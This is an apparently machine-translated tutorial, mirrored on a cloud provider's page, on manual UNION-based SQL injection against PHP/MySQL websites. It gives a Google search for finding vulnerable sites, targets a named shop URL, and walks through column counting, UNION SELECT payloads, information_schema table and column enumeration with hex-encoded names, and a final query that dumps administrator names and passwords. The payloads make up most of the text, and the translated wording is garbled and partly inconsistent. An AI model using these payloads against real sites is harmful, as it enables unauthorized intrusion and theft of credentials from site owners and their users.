Php manual injection MYSQL5.0 Injection

Source: Internet
Author: User

We use examples to illustrate the manual injection of PHP websites. I personally feel that graphic tutorials are more intuitive than videos, but the example websites are more practical.

Tools used: google snoop
Use statement: site: heib0y.com inurl: php to find the injection point
First, add'

Http://www.bkjia.com/products/shop. php? C = misc & id = 8 ′

Error

And 1 = 1 and 1 = 2 a normal one error very obvious injection points

Step 2: Increase order by 1 until the error value is 12. The description is 11.

Step 3: id = 8 and 1 = 2 union select 1, 2, 4, 5, 6, 7, 8, 9, 10, 11-

Numbers 5 and 8 appear on the page,

Use the built-in function user () at Location 5 to reveal the current database account

Database () and version () can be used to replace the database Name and MYSQL version ()
5.1.66-community-log

Step 4: with the database name and version 5.0 and later, we can quickly expose all the table names. The syntax is

Php? Id = 72 and 1 = 2 union select 1, 2, 3, 4, group_concat (table_name) 6, 7, 8, 9, 10, 11 from information_schema.tables where table_schema = 0x68706F6C

0x68706F6C The hexadecimal encoding format of the database. Just encode it with xiaokui.

Find the sensitive table name, such as admin user admins, and the statement used for the management field is

Php? Id = 72 and 1 = 2 union select 1, group_concat (column_name), 3,4, 5 from information_schema.columns where table_name = 0x61646D696E6973747261746F72/* The hexadecimal representation of the table name */

The fields shown here are password and name.

Last step: Let's take a look at the account and password of the website administrator. Here is the dual-violence field.

Statement:

And 1 = 2 union select 1, 2, 3, 4, 5, 6, 7, group_concat (name, 0x3a, password), 9, 10, 11 from admins

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.